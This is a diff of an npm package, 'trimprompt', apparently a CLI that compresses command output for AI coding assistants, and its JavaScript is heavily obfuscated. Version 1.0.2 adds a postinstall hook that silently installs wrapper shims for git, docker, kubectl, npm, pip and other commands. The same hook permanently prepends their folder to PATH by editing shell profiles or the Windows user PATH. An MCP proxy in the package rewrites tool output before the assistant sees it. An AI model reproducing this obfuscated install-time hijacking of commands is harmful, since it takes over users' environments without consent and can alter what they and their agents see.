_0x10e2c6=a0_0x36e3c8,_0x272938=(0x0,child_process_1[_0x10e2c6(0x1c9)])(_0x4ee5c4,_0x8df5f,{'stdio':[_0x10e2c6(0x1d7),_0x10e2c6(0x1d7),_0x10e2c6(0x1ba)]});process['stdin']['pipe'](_0x272938['stdin']);const _0x1e1118=readline[_0x10e2c6(0x1e4)]({'input':_0x272938[_0x10e2c6(0x1d5)],'terminal':![]});_0x1e1118['on'](_0x10e2c6(0x1ce),_0x445b76=>{const _0x400604=_0x10e2c6;try{const _0x4f08a1=JSON[_0x400604(0x1b3)](_0x445b76);if(_0x4f08a1&&_0x4f08a1[_0x400604(0x1cc)]==='2.0'&&_0x4f08a1['id']!==undefined&&_0x4f08a1['result']&&Array['isArray'](_0x4f08a1['result'][_0x400604(0x1bf)])){let _0x10b414=![];for(const _0x3c2b29 of _0x4f08a1[_0x400604(0x1db)][_0x400604(0x1bf)]){if(_0x3c2b29['type']===_0x400604(0x1be)&&typeof _0x3c2b29['text']==='string'&&_0x3c2b29[_0x400604(0x1be)][_0x400604(0x1e3)]()['length']>0x0){const _0x14a99c=_0x3c2b29[_0x400604(0x1be)],_0x21a56e=(0x0,filters_1[_0x400604(0x1c0)])(_0x400604(0x1e2),_0x14a99c,'',tracker_1[_0x400604(0x1d1)]['getConfig']()[_0x400604(0x1c7)]);tracker_1[_0x400604(0x1d1)][_0x400604(0x1bc)]('mcp\x20tool\x20(id:\x20'+_0x4f08a1['id']+')',_0x14a99c,_0x21a56e,0x0),_0x3c2b29[_0x400604(0x1be)]=_0x21a56e,_0x10b414=!![];}}_0x10b414?process[_0x400604(0x1d5)][_0x400604(0x1c4)](JSON[_0x400604(0x1cf)](_0x4f08a1)+'\x0a'):process[_0x400604(0x1d5)]['write'](_0x445b76+'\x0a');}else process[_0x400604(0x1d5)]['write'](_0x445b76+'\x0a');}catch{process['stdout']['write'](_0x445b76+'\x0a');}}),_0x272938['on'](_0x10e2c6(0x1cd),_0x44e71b=>{const _0x1d7ea5=_0x10e2c6;process[_0x1d7ea5(0x1da)](_0x44e71b||0x0);}),_0x272938['on'](_0x10e2c6(0x1d3),_0x351a33=>{const _0x10cade=_0x10e2c6;console['error'](_0x10cade(0x1bb)+_0x351a33[_0x10cade(0x1d9)]),process['exit'](0x1);});}function a0_0x314f(){const _0x33838d=['12IsQkPZ','defineProperty','160895sCwXgh','write','get','__setModuleDefault','redaction_enabled','./filters','spawn','call','9449576atJOmW','jsonrpc','close','line','stringify','__importStar','tracker','3401991Djhbeg','error','default','stdout','writable','pipe','readline','message','exit','result','7806xNRZBD','runMcpProxy','create','length','getOwnPropertyNames','./tracker','mcp-tool-call','trim','createInterface','84COOFoy','parse','1572CwPIqZ','7059031XCPveR','22081920wCaSxL','59766wTZFPi','child_process','__esModule','inherit','[TrimPrompt]\x20MCP\x20Server\x20Spawn\x20Error:\x20','logExecution','prototype','text','content','compressOutput'];a0_0x314f=function(){return _0x33838d;};return a0_0x314f();}
package/package.json CHANGED
@@ -1,11 +1,14 @@
1
1
  {
2
2
  "name": "trimprompt",
3
- "version": "1.0.1",
3
+ "version": "1.0.2",
4
4
  "description": "TrimPrompt.ai Client CLI & Local Developer Dashboard",
5
5
  "main": "cli.js",
6
6
  "bin": {
7
7
  "trim": "cli.js"
8
8
  },
9
+ "scripts": {
10
+ "postinstall": "node cli.js shims install || true"
11
+ },
9
12
  "dependencies": {
10
13
  "commander": "^11.1.0",
11
14
  "express": "^4.18.2",
package/redactor.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x4c34f2=a0_0x4532;function a0_0x4532(_0x1a9f35,_0x15805c){_0x1a9f35=_0x1a9f35-0xb2;const _0x2c95ce=a0_0x2c95();let _0x453263=_0x2c95ce[_0x1a9f35];return _0x453263;}(function(_0x46a591,_0xafe142){const _0x1b80bb=a0_0x4532,_0x5c328b=_0x46a591();while(!![]){try{const _0x45909e=parseInt(_0x1b80bb(0xb6))/0x1*(-parseInt(_0x1b80bb(0xc1))/0x2)+parseInt(_0x1b80bb(0xb5))/0x3+parseInt(_0x1b80bb(0xcf))/0x4*(parseInt(_0x1b80bb(0xcc))/0x5)+parseInt(_0x1b80bb(0xbf))/0x6*(parseInt(_0x1b80bb(0xc2))/0x7)+-parseInt(_0x1b80bb(0xb3))/0x8*(parseInt(_0x1b80bb(0xc3))/0x9)+parseInt(_0x1b80bb(0xc0))/0xa*(-parseInt(_0x1b80bb(0xc8))/0xb)+parseInt(_0x1b80bb(0xb8))/0xc*(parseInt(_0x1b80bb(0xbb))/0xd);if(_0x45909e===_0xafe142)break;else _0x5c328b['push'](_0x5c328b['shift']());}catch(_0xe3dbcc){_0x5c328b['push'](_0x5c328b['shift']());}}}(a0_0x2c95,0x71990));Object[a0_0x4c34f2(0xbe)](exports,a0_0x4c34f2(0xc5),{'value':!![]}),exports[a0_0x4c34f2(0xba)]=exports[a0_0x4c34f2(0xc9)]=void 0x0;class Redactor{[a0_0x4c34f2(0xca)]=[];constructor(){const _0x5c1a10=a0_0x4c34f2;this[_0x5c1a10(0xcb)]();}[a0_0x4c34f2(0xcb)](){const _0x155bf3=a0_0x4c34f2;this[_0x155bf3(0xca)]=[{'name':_0x155bf3(0xbd),'regex':/(mongodb|postgres|postgresql|mysql|redis|sqlite):\/\/[a-zA-Z0-9_]+:[^@\s\n]+@[^\s\n]+/gi,'replacement':_0x155bf3(0xc6)},{'name':_0x155bf3(0xb9),'regex':/(api[_-]?key|secret|password|passwd|auth|token|private[_-]?key)[\s:=]+[a-zA-Z0-9_-]{16,}/gi,'replacement':_0x155bf3(0xbc)},{'name':_0x155bf3(0xce),'regex':/\b(?!127\.0\.0\.1|255\.255\.255\.0)(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b/g,'replacement':_0x155bf3(0xc7)},{'name':_0x155bf3(0xb2),'regex':/\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b/g,'replacement':_0x155bf3(0xb4)}];}[a0_0x4c34f2(0xb7)](_0x2bbf8a){const _0x4358d0=a0_0x4c34f2;let _0xd2cdb1=_0x2bbf8a;for(const _0x3d0375 of this[_0x4358d0(0xca)]){_0xd2cdb1=_0xd2cdb1[_0x4358d0(0xc4)](_0x3d0375['regex'],_0x3d0375[_0x4358d0(0xcd)]);}return _0xd2cdb1;}}exports['Redactor']=Redactor,exports[a0_0x4c34f2(0xba)]=new Redactor();function a0_0x2c95(){const _0x50831b=['loadDefaultRules','5DodQlD','replacement','IPv4\x20Address','2925968JhwpSM','Email\x20Address','8NPAXTQ','[REDACTED_EMAIL]','498549ypXFiW','31438nzDjCR','redact','17040BicSvp','API\x20Key\x20or\x20Password','redactor','9841iUYUgL','$1:\x20[REDACTED_CREDENTIAL]','Database\x20Connection\x20String','defineProperty','8766uuRXSI','164930JxXVHs','46iwsiGF','840MGLZeA','7151715YeTEMJ','replace','__esModule','[REDACTED_DB_CONNECTION_STRING]','[REDACTED_IP]','110yuXpTc','Redactor','rules'];a0_0x2c95=function(){return _0x50831b;};return a0_0x2c95();}
1
+ 'use strict';function a0_0x2cd0(){const _0x34737b=['rules','16370622IsgwPA','API\x20Key\x20or\x20Password','14096864xNlJWt','IPv4\x20Address','51755XKgbTG','replacement','[REDACTED_EMAIL]','defineProperty','redactor','77202gVGyTv','Email\x20Address','Database\x20Connection\x20String','9006606FTfsFK','10490980PumMpV','$1:\x20[REDACTED_CREDENTIAL]','__esModule','[REDACTED_IP]','Redactor','32AhYISi','52DMWlKv','7qRfVzp','loadDefaultRules','834291iuvZFC','replace'];a0_0x2cd0=function(){return _0x34737b;};return a0_0x2cd0();}const a0_0x1cb4df=a0_0x1e2b;(function(_0x20dab0,_0x1d2d49){const _0x38187c=a0_0x1e2b,_0x107ae5=_0x20dab0();while(!![]){try{const _0x59206f=-parseInt(_0x38187c(0x195))/0x1*(parseInt(_0x38187c(0x18c))/0x2)+-parseInt(_0x38187c(0x199))/0x3+parseInt(_0x38187c(0x196))/0x4*(-parseInt(_0x38187c(0x187))/0x5)+parseInt(_0x38187c(0x18f))/0x6+-parseInt(_0x38187c(0x197))/0x7*(parseInt(_0x38187c(0x185))/0x8)+parseInt(_0x38187c(0x19c))/0x9+parseInt(_0x38187c(0x190))/0xa;if(_0x59206f===_0x1d2d49)break;else _0x107ae5['push'](_0x107ae5['shift']());}catch(_0x2fc1c7){_0x107ae5['push'](_0x107ae5['shift']());}}}(a0_0x2cd0,0xea2b5));Object[a0_0x1cb4df(0x18a)](exports,a0_0x1cb4df(0x192),{'value':!![]}),exports['redactor']=exports[a0_0x1cb4df(0x194)]=void 0x0;class Redactor{['rules']=[];constructor(){const _0x3e7630=a0_0x1cb4df;this[_0x3e7630(0x198)]();}[a0_0x1cb4df(0x198)](){const _0x475157=a0_0x1cb4df;this[_0x475157(0x19b)]=[{'name':_0x475157(0x18e),'regex':/(mongodb|postgres|postgresql|mysql|redis|sqlite):\/\/[a-zA-Z0-9_]+:[^@\s\n]+@[^\s\n]+/gi,'replacement':'[REDACTED_DB_CONNECTION_STRING]'},{'name':_0x475157(0x184),'regex':/(api[_-]?key|secret|password|passwd|auth|token|private[_-]?key)[\s:=]+[a-zA-Z0-9_-]{16,}/gi,'replacement':_0x475157(0x191)},{'name':_0x475157(0x186),'regex':/\b(?!127\.0\.0\.1|255\.255\.255\.0)(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b/g,'replacement':_0x475157(0x193)},{'name':_0x475157(0x18d),'regex':/\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b/g,'replacement':_0x475157(0x189)}];}['redact'](_0x5da526){const _0x5f9dd7=a0_0x1cb4df;let _0x1e06bb=_0x5da526;for(const _0x238bd9 of this['rules']){_0x1e06bb=_0x1e06bb[_0x5f9dd7(0x19a)](_0x238bd9['regex'],_0x238bd9[_0x5f9dd7(0x188)]);}return _0x1e06bb;}}function a0_0x1e2b(_0x4ad3da,_0x1d6bde){_0x4ad3da=_0x4ad3da-0x184;const _0x2cd088=a0_0x2cd0();let _0x1e2be3=_0x2cd088[_0x4ad3da];return _0x1e2be3;}exports[a0_0x1cb4df(0x194)]=Redactor,exports[a0_0x1cb4df(0x18b)]=new Redactor();
package/seed.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x3e1c07=a0_0x6e84;function a0_0x5851(){const _0x3f84e3=['248idcUjI','Step\x202/10\x20:\x20COPY\x20package.json\x20.\x0a','3510828obkubZ','gemini-1-5-pro','832uhLsiE','test_auth.py\x20PASS\x0a','2271824hJvDPT','Compilation\x20Output:\x0a','Sending\x20build\x20context\x20to\x20Docker\x20daemon...\x0a','pytest\x20tests/app','pytest\x20app:\x20303\x20tests\x20passed\x20in\x204.22s.','Successfully\x20built\x20image.','Step\x203/10\x20:\x20RUN\x20npm\x20install\x0a','log','logExecution','3aeBkfL','repeat','npm\x20run\x20build','Optimizing\x20assets...\x0a','All\x20303\x20tests\x20passed\x20in\x204.22s.','docker\x20build\x20.','tracker','10KlODYg','[INFO]\x20Building\x20modules...\x0a','1270ATFQZQ','144678YLIyFZ','Step\x201/10\x20:\x20FROM\x20node:20\x0a','Test\x20suite\x20run\x20starting...\x0a','115471WlNCXK','test_db.py\x20PASS\x0a','1397FNGPdF','219048RDughS','claude-3-opus','__esModule','8YrFKLn','23611QnyxaI'];a0_0x5851=function(){return _0x3f84e3;};return a0_0x5851();}function a0_0x6e84(_0x1ede71,_0x19197c){_0x1ede71=_0x1ede71-0x186;const _0x585158=a0_0x5851();let _0x6e848b=_0x585158[_0x1ede71];return _0x6e848b;}(function(_0x31430c,_0x2bf7b6){const _0x19c5b2=a0_0x6e84,_0x4eb7c9=_0x31430c();while(!![]){try{const _0x589a18=-parseInt(_0x19c5b2(0x19a))/0x1*(-parseInt(_0x19c5b2(0x1a0))/0x2)+parseInt(_0x19c5b2(0x18d))/0x3*(parseInt(_0x19c5b2(0x1a8))/0x4)+-parseInt(_0x19c5b2(0x194))/0x5*(parseInt(_0x19c5b2(0x197))/0x6)+-parseInt(_0x19c5b2(0x1a1))/0x7*(-parseInt(_0x19c5b2(0x1a2))/0x8)+parseInt(_0x19c5b2(0x1a4))/0x9+parseInt(_0x19c5b2(0x196))/0xa*(-parseInt(_0x19c5b2(0x19c))/0xb)+-parseInt(_0x19c5b2(0x19d))/0xc*(parseInt(_0x19c5b2(0x1a6))/0xd);if(_0x589a18===_0x2bf7b6)break;else _0x4eb7c9['push'](_0x4eb7c9['shift']());}catch(_0x4aea00){_0x4eb7c9['push'](_0x4eb7c9['shift']());}}}(a0_0x5851,0x4742c));Object['defineProperty'](exports,a0_0x3e1c07(0x19f),{'value':!![]});const tracker_1=require('./tracker');console[a0_0x3e1c07(0x18b)]('Seeding\x20TrimPrompt\x20database\x20with\x20mock\x20LLM\x20command\x20telemetry...'),process.env.TRIMPROMPT_MODEL=a0_0x3e1c07(0x19e),tracker_1[a0_0x3e1c07(0x193)][a0_0x3e1c07(0x18c)](a0_0x3e1c07(0x18f),a0_0x3e1c07(0x1a9)+a0_0x3e1c07(0x195)+a0_0x3e1c07(0x190)+'[SUCCESS]\x20Compiled\x20512\x20modules.\x0a'[a0_0x3e1c07(0x18e)](0x190),'[INFO]\x20Building\x20modules...\x0a[SUCCESS]\x20Compiled\x20512\x20modules.\x20(repeated\x20400\x20times)',0x0),process.env.TRIMPROMPT_MODEL='gpt-4o',tracker_1[a0_0x3e1c07(0x193)][a0_0x3e1c07(0x18c)](a0_0x3e1c07(0x187),a0_0x3e1c07(0x199)+a0_0x3e1c07(0x1a7)+a0_0x3e1c07(0x19b)+'test_api.py\x20PASS\x0a'[a0_0x3e1c07(0x18e)](0x12c)+a0_0x3e1c07(0x191),a0_0x3e1c07(0x188),0x0),process.env.TRIMPROMPT_MODEL=a0_0x3e1c07(0x1a5),tracker_1[a0_0x3e1c07(0x193)][a0_0x3e1c07(0x18c)](a0_0x3e1c07(0x192),a0_0x3e1c07(0x186)+a0_0x3e1c07(0x198)+a0_0x3e1c07(0x1a3)+a0_0x3e1c07(0x18a)+'added\x201420\x20packages\x20in\x2014s\x0a'[a0_0x3e1c07(0x18e)](0x3)+a0_0x3e1c07(0x189),'docker\x20build:\x201420\x20packages\x20added.\x20Successfully\x20built\x20image.',0x0),console[a0_0x3e1c07(0x18b)]('Database\x20successfully\x20seeded!');
1
+ 'use strict';const a0_0x159136=a0_0x3905;function a0_0x3905(_0x543d4c,_0x316964){_0x543d4c=_0x543d4c-0x7e;const _0x79a90e=a0_0x79a9();let _0x3905f4=_0x79a90e[_0x543d4c];return _0x3905f4;}(function(_0x55d7b7,_0x4cf148){const _0x2b1fa1=a0_0x3905,_0x2e61f3=_0x55d7b7();while(!![]){try{const _0xa9d319=parseInt(_0x2b1fa1(0x7f))/0x1+-parseInt(_0x2b1fa1(0x9d))/0x2+-parseInt(_0x2b1fa1(0x8a))/0x3+parseInt(_0x2b1fa1(0x94))/0x4+parseInt(_0x2b1fa1(0x8c))/0x5*(-parseInt(_0x2b1fa1(0x87))/0x6)+-parseInt(_0x2b1fa1(0x80))/0x7*(-parseInt(_0x2b1fa1(0x91))/0x8)+-parseInt(_0x2b1fa1(0x97))/0x9*(-parseInt(_0x2b1fa1(0x8b))/0xa);if(_0xa9d319===_0x4cf148)break;else _0x2e61f3['push'](_0x2e61f3['shift']());}catch(_0x4f250b){_0x2e61f3['push'](_0x2e61f3['shift']());}}}(a0_0x79a9,0x62158));Object[a0_0x159136(0x96)](exports,a0_0x159136(0x84),{'value':!![]});function a0_0x79a9(){const _0x1fbb85=['test_db.py\x20PASS\x0a','[INFO]\x20Building\x20modules...\x0a[SUCCESS]\x20Compiled\x20512\x20modules.\x20(repeated\x20400\x20times)','40YdXeqH','Test\x20suite\x20run\x20starting...\x0a','added\x201420\x20packages\x20in\x2014s\x0a','460676SeMqbw','Successfully\x20built\x20image.','defineProperty','27kXEZqV','test_api.py\x20PASS\x0a','repeat','log','[INFO]\x20Building\x20modules...\x0a','Sending\x20build\x20context\x20to\x20Docker\x20daemon...\x0a','361888stahzR','tracker','test_auth.py\x20PASS\x0a','pytest\x20tests/app','Step\x203/10\x20:\x20RUN\x20npm\x20install\x0a','npm\x20run\x20build','323649ncwhpN','1092707XvcKQu','Compilation\x20Output:\x0a','docker\x20build\x20.','./tracker','__esModule','Optimizing\x20assets...\x0a','pytest\x20app:\x20303\x20tests\x20passed\x20in\x204.22s.','150xyJtiI','logExecution','claude-3-opus','2032671tyOLEI','603850iMpvIn','28045knCkVe','[SUCCESS]\x20Compiled\x20512\x20modules.\x0a','Step\x202/10\x20:\x20COPY\x20package.json\x20.\x0a'];a0_0x79a9=function(){return _0x1fbb85;};return a0_0x79a9();}const tracker_1=require(a0_0x159136(0x83));console[a0_0x159136(0x9a)]('Seeding\x20TrimPrompt\x20database\x20with\x20mock\x20LLM\x20command\x20telemetry...'),process.env.TRIMPROMPT_MODEL=a0_0x159136(0x89),tracker_1[a0_0x159136(0x9e)]['logExecution'](a0_0x159136(0x7e),a0_0x159136(0x81)+a0_0x159136(0x9b)+a0_0x159136(0x85)+a0_0x159136(0x8d)[a0_0x159136(0x99)](0x190),a0_0x159136(0x90),0x0),process.env.TRIMPROMPT_MODEL='gpt-4o',tracker_1[a0_0x159136(0x9e)]['logExecution'](a0_0x159136(0xa0),a0_0x159136(0x92)+a0_0x159136(0x9f)+a0_0x159136(0x8f)+a0_0x159136(0x98)[a0_0x159136(0x99)](0x12c)+'All\x20303\x20tests\x20passed\x20in\x204.22s.',a0_0x159136(0x86),0x0),process.env.TRIMPROMPT_MODEL='gemini-1-5-pro',tracker_1[a0_0x159136(0x9e)][a0_0x159136(0x88)](a0_0x159136(0x82),a0_0x159136(0x9c)+'Step\x201/10\x20:\x20FROM\x20node:20\x0a'+a0_0x159136(0x8e)+a0_0x159136(0xa1)+a0_0x159136(0x93)[a0_0x159136(0x99)](0x3)+a0_0x159136(0x95),'docker\x20build:\x201420\x20packages\x20added.\x20Successfully\x20built\x20image.',0x0),console[a0_0x159136(0x9a)]('Database\x20successfully\x20seeded!');
package/shims.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x3672f2=a0_0x3d7d;(function(_0x3ef0cd,_0x40dcbe){const _0x33c83b=a0_0x3d7d,_0x54b108=_0x3ef0cd();while(!![]){try{const _0x2608e9=-parseInt(_0x33c83b(0xb7))/0x1*(-parseInt(_0x33c83b(0xb4))/0x2)+-parseInt(_0x33c83b(0xb8))/0x3*(-parseInt(_0x33c83b(0xf9))/0x4)+-parseInt(_0x33c83b(0xeb))/0x5+parseInt(_0x33c83b(0xe6))/0x6+parseInt(_0x33c83b(0xd0))/0x7+parseInt(_0x33c83b(0xcb))/0x8*(-parseInt(_0x33c83b(0xca))/0x9)+parseInt(_0x33c83b(0xf7))/0xa*(-parseInt(_0x33c83b(0xe1))/0xb);if(_0x2608e9===_0x40dcbe)break;else _0x54b108['push'](_0x54b108['shift']());}catch(_0x3ab175){_0x54b108['push'](_0x54b108['shift']());}}}(a0_0x31a2,0xc208c));function a0_0x31a2(){const _0x444c18=['.profile','Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22','join','\x20$args\x0a','\x27,\x20\x27User\x27)','uninstallShims','mkdirSync','trim\x20','export\x20PATH=\x22','979ewbhPG','\x20commands.\x0a\x0a','appendFileSync','installShims','writeFileSync','2650572kFztQz','writable','pytest','[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20','rmdirSync','2557935suJffT','cargo','path','get','__esModule','includes','\x20\x22$@\x22\x0a','docker','create','trim','getOwnPropertyDescriptor','@echo\x20off\x0atrim\x20','162430OSXmok','unlinkSync','130244lgoHCT','TrimPrompt\x20shims\x20successfully\x20uninstalled.\x20Remember\x20to\x20restore\x20your\x20PATH\x20variable.','npx','win32','.ps1','__importStar','__createBinding','npm','2exTler','prototype','kubectl','1404496BIHijD','87RIBFzP','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27','message','defineProperty','child_process','utf8','chmodSync','glab','homedir','getOwnPropertyNames','755','yarn','git','Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20','Failed\x20to\x20install\x20shims:\x20',':$PATH\x22\x0a','__setModuleDefault',':$PATH\x22','9XmKJCz','10482776cbDQaG','.trimprompt','readFileSync','existsSync','.bashrc','8902586XjnOfh','pip3','[SUCCESS]\x20Your\x20system\x20PATH\x20has\x20been\x20automatically\x20and\x20permanently\x20updated\x20to\x20run\x20TrimPrompt\x20in\x20the\x20background.\x0aThis\x20setup\x20persists\x20across\x20system\x20restarts.\x0a\x0a*Note*:\x20Please\x20restart\x20your\x20active\x20terminal\x20window\x20or\x20AI\x20assistant\x20(e.g.\x20Claude\x20Code/Cursor)\x20for\x20the\x20environment\x20changes\x20to\x20take\x20effect.','\x0a#\x20TrimPrompt\x20Shims\x20PATH\x0a','default','#!/bin/sh\x0aexec\x20trim\x20','powershell\x20-Command\x20\x22','shims'];a0_0x31a2=function(){return _0x444c18;};return a0_0x31a2();}var __createBinding=this&&this[a0_0x3672f2(0xb2)]||(Object[a0_0x3672f2(0xf3)]?function(_0x473c7a,_0x396695,_0x5eb20d,_0x5a240c){const _0x4ab73=a0_0x3672f2;if(_0x5a240c===undefined)_0x5a240c=_0x5eb20d;var _0x214849=Object[_0x4ab73(0xf5)](_0x396695,_0x5eb20d);(!_0x214849||(_0x4ab73(0xee)in _0x214849?!_0x396695['__esModule']:_0x214849[_0x4ab73(0xe7)]||_0x214849['configurable']))&&(_0x214849={'enumerable':!![],'get':function(){return _0x396695[_0x5eb20d];}}),Object[_0x4ab73(0xbb)](_0x473c7a,_0x5a240c,_0x214849);}:function(_0x2d3a49,_0x3e1ecc,_0x52393b,_0x1a1c0e){if(_0x1a1c0e===undefined)_0x1a1c0e=_0x52393b;_0x2d3a49[_0x1a1c0e]=_0x3e1ecc[_0x52393b];}),__setModuleDefault=this&&this[a0_0x3672f2(0xc8)]||(Object[a0_0x3672f2(0xf3)]?function(_0x529cdd,_0x54db87){const _0x53642c=a0_0x3672f2;Object[_0x53642c(0xbb)](_0x529cdd,_0x53642c(0xd4),{'enumerable':!![],'value':_0x54db87});}:function(_0x3bb982,_0x178d57){const _0x4984f5=a0_0x3672f2;_0x3bb982[_0x4984f5(0xd4)]=_0x178d57;}),__importStar=this&&this[a0_0x3672f2(0xb1)]||(function(){var _0x4f5f64=function(_0x784d40){const _0x4a743d=a0_0x3d7d;return _0x4f5f64=Object[_0x4a743d(0xc1)]||function(_0x1e0260){const _0x5960eb=_0x4a743d;var _0x4f692e=[];for(var _0x22fc82 in _0x1e0260)if(Object[_0x5960eb(0xb5)]['hasOwnProperty']['call'](_0x1e0260,_0x22fc82))_0x4f692e[_0x4f692e['length']]=_0x22fc82;return _0x4f692e;},_0x4f5f64(_0x784d40);};return function(_0x240e80){const _0x1b901b=a0_0x3d7d;if(_0x240e80&&_0x240e80[_0x1b901b(0xef)])return _0x240e80;var _0x41c2ff={};if(_0x240e80!=null){for(var _0x207fe5=_0x4f5f64(_0x240e80),_0xa8dd83=0x0;_0xa8dd83<_0x207fe5['length'];_0xa8dd83++)if(_0x207fe5[_0xa8dd83]!==_0x1b901b(0xd4))__createBinding(_0x41c2ff,_0x240e80,_0x207fe5[_0xa8dd83]);}return __setModuleDefault(_0x41c2ff,_0x240e80),_0x41c2ff;};}());Object[a0_0x3672f2(0xbb)](exports,a0_0x3672f2(0xef),{'value':!![]}),exports[a0_0x3672f2(0xe4)]=installShims,exports[a0_0x3672f2(0xdd)]=uninstallShims;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x3672f2(0xed))),os=__importStar(require('os')),SHIMMED_COMMANDS=[a0_0x3672f2(0xc4),'gh',a0_0x3672f2(0xbf),a0_0x3672f2(0xec),a0_0x3672f2(0xb3),'pnpm',a0_0x3672f2(0xfb),a0_0x3672f2(0xc3),a0_0x3672f2(0xb6),a0_0x3672f2(0xf2),a0_0x3672f2(0xe8),'pip',a0_0x3672f2(0xd1),'go'];function installShims(){const _0x10365e=a0_0x3672f2,_0x2d19c0=path['join'](os[_0x10365e(0xc0)](),'.trimprompt',_0x10365e(0xd7));try{!fs[_0x10365e(0xce)](_0x2d19c0)&&fs[_0x10365e(0xde)](_0x2d19c0,{'recursive':!![]});const _0x36ad99=os['platform']()===_0x10365e(0xaf);for(const _0x1f09f4 of SHIMMED_COMMANDS){if(_0x36ad99){const _0x453711=path[_0x10365e(0xda)](_0x2d19c0,_0x1f09f4+'.cmd'),_0x2264e5=_0x10365e(0xf6)+_0x1f09f4+'\x20%*\x0a';fs[_0x10365e(0xe5)](_0x453711,_0x2264e5,'utf8');const _0x10b3ec=path['join'](_0x2d19c0,_0x1f09f4+_0x10365e(0xb0)),_0x75402c=_0x10365e(0xdf)+_0x1f09f4+_0x10365e(0xdb);fs['writeFileSync'](_0x10b3ec,_0x75402c,_0x10365e(0xbd));}else{const _0x18d55d=path[_0x10365e(0xda)](_0x2d19c0,_0x1f09f4),_0x3d3575=_0x10365e(0xd5)+_0x1f09f4+_0x10365e(0xf1);fs[_0x10365e(0xe5)](_0x18d55d,_0x3d3575,_0x10365e(0xbd)),fs[_0x10365e(0xbe)](_0x18d55d,_0x10365e(0xc2));}}let _0x13ad45=![],_0x266bcb='';if(_0x36ad99)try{const {execSync:_0x27afee}=require(_0x10365e(0xbc)),_0x1139a4='[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)',_0x5c2294=_0x27afee('powershell\x20-Command\x20\x22'+_0x1139a4+'\x22')['toString']()[_0x10365e(0xf4)]();if(!_0x5c2294[_0x10365e(0xf0)](_0x2d19c0)){const _0x21c654=_0x2d19c0+';'+_0x5c2294,_0x38568a=_0x10365e(0xb9)+_0x21c654+_0x10365e(0xdc);_0x27afee(_0x10365e(0xd6)+_0x38568a+'\x22'),_0x13ad45=!![];}else _0x13ad45=!![];}catch(_0x45c7a8){_0x266bcb=_0x10365e(0xc5)+_0x2d19c0;}else try{const _0x230510=_0x10365e(0xe0)+_0x2d19c0+_0x10365e(0xc7),_0x509ac0=os[_0x10365e(0xc0)](),_0x50d624=[_0x10365e(0xcf),'.zshrc','.bash_profile',_0x10365e(0xd8)];let _0x5f1103=![];for(const _0xb73672 of _0x50d624){const _0x28a898=path[_0x10365e(0xda)](_0x509ac0,_0xb73672);if(fs[_0x10365e(0xce)](_0x28a898)){const _0x46b2ea=fs[_0x10365e(0xcd)](_0x28a898,_0x10365e(0xbd));!_0x46b2ea['includes'](_0x2d19c0)?(fs['appendFileSync'](_0x28a898,_0x10365e(0xd3)+_0x230510),_0x5f1103=!![]):_0x5f1103=!![];}}if(!_0x5f1103){const _0x6be4d5=path[_0x10365e(0xda)](_0x509ac0,_0x10365e(0xcf));fs[_0x10365e(0xe3)](_0x6be4d5,_0x10365e(0xd3)+_0x230510);}_0x13ad45=!![];}catch(_0x4ced6b){_0x266bcb=_0x10365e(0xd9)+_0x2d19c0+_0x10365e(0xc9);}const _0x5f18bf='TrimPrompt\x20shims\x20successfully\x20installed\x20for\x20'+SHIMMED_COMMANDS['length']+_0x10365e(0xe2),_0x49bdae=_0x13ad45?_0x5f18bf+_0x10365e(0xd2):_0x5f18bf+_0x10365e(0xe9)+_0x266bcb;return{'success':!![],'pathDir':_0x2d19c0,'message':_0x49bdae};}catch(_0x2810bc){return{'success':![],'pathDir':_0x2d19c0,'message':_0x10365e(0xc6)+_0x2810bc['message']};}}function a0_0x3d7d(_0x3f83ea,_0x3c8e0d){_0x3f83ea=_0x3f83ea-0xaf;const _0x31a24a=a0_0x31a2();let _0x3d7d39=_0x31a24a[_0x3f83ea];return _0x3d7d39;}function uninstallShims(){const _0x5dea7e=a0_0x3672f2,_0x4f2ab6=path[_0x5dea7e(0xda)](os['homedir'](),_0x5dea7e(0xcc),_0x5dea7e(0xd7));try{if(fs['existsSync'](_0x4f2ab6)){const _0x1b557e=fs['readdirSync'](_0x4f2ab6);for(const _0x3ff419 of _0x1b557e){fs[_0x5dea7e(0xf8)](path['join'](_0x4f2ab6,_0x3ff419));}fs[_0x5dea7e(0xea)](_0x4f2ab6);}return{'success':!![],'message':_0x5dea7e(0xfa)};}catch(_0xbe551c){return{'success':![],'message':'Failed\x20to\x20uninstall\x20shims:\x20'+_0xbe551c[_0x5dea7e(0xba)]};}}
1
+ 'use strict';const a0_0x36c5f1=a0_0x510b;(function(_0x450575,_0x403ca9){const _0x5a59a6=a0_0x510b,_0x441abf=_0x450575();while(!![]){try{const _0x2b6375=parseInt(_0x5a59a6(0x1b3))/0x1+-parseInt(_0x5a59a6(0x1dc))/0x2+-parseInt(_0x5a59a6(0x1be))/0x3*(-parseInt(_0x5a59a6(0x1ac))/0x4)+parseInt(_0x5a59a6(0x1b8))/0x5+parseInt(_0x5a59a6(0x1bd))/0x6+parseInt(_0x5a59a6(0x1ea))/0x7+-parseInt(_0x5a59a6(0x1c6))/0x8*(parseInt(_0x5a59a6(0x1b2))/0x9);if(_0x2b6375===_0x403ca9)break;else _0x441abf['push'](_0x441abf['shift']());}catch(_0x43badc){_0x441abf['push'](_0x441abf['shift']());}}}(a0_0x2e9b,0xc4845));var __createBinding=this&&this['__createBinding']||(Object['create']?function(_0x36eea1,_0xa027e1,_0x2630ed,_0x162ec8){const _0x1b3549=a0_0x510b;if(_0x162ec8===undefined)_0x162ec8=_0x2630ed;var 